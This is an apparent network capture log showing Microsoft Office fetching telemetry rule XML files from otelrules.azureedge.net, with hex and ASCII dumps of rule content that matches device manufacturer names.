2024-12-02 03:58:46 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-02 03:58:46 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:47 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:48 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 2aedf92b-c01e-00a1-5716-437e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035848Z-174f7845968n2hr8hC1EWR9cag00000013h000000000apre x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:48 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:47 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:48 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:48 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: d2130280-a01e-006f-03c7-4313cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035848Z-174f7845968qj8jrhC1EWRh41s00000013r000000000pt2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:58:48 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:47 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:48 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035848Z-174f7845968nxc96hC1EWRspw800000013gg00000000nb9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:48 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:47 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:48 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:48 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: e6e3c96a-a01e-0032-07d4-431949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035848Z-174f7845968zgtf6hC1EWRqd8s0000000wu000000000cusb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:58:48 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:47 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:48 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:48 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 22636776-e01e-0003-4fa8-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035848Z-174f7845968swgbqhC1EWRmnb400000014400000000037sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:48 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:50 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:50 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e1e1876a-701e-0001-22c7-43b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035850Z-174f7845968zgtf6hC1EWRqd8s0000000wxg000000003bmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:50 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:50 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:50 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:50 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 03f3685a-b01e-0097-2663-444f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035850Z-174f7845968frfdmhC1EWRxxbw000000140g000000003yxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:58:50 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:50 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:50 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035850Z-174f7845968ljs8phC1EWRe6en00000013u0000000003vft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:50 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:50 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:50 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:50 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: f20189e0-201e-005d-0f7c-43afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035850Z-174f7845968frfdmhC1EWRxxbw0000001410000000002cth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 03:58:50 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:50 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:50 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:50 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c220f382-901e-0029-3552-43274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035850Z-174f7845968zgtf6hC1EWRqd8s0000000wt000000000gvs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 03:58:50 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 03:58:52 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 03:58:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 03:58:52 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 79414491-c01e-0014-1360-43a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T035852Z-174f7845968glpgnhC1EWR7uec0000001450000000000k4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
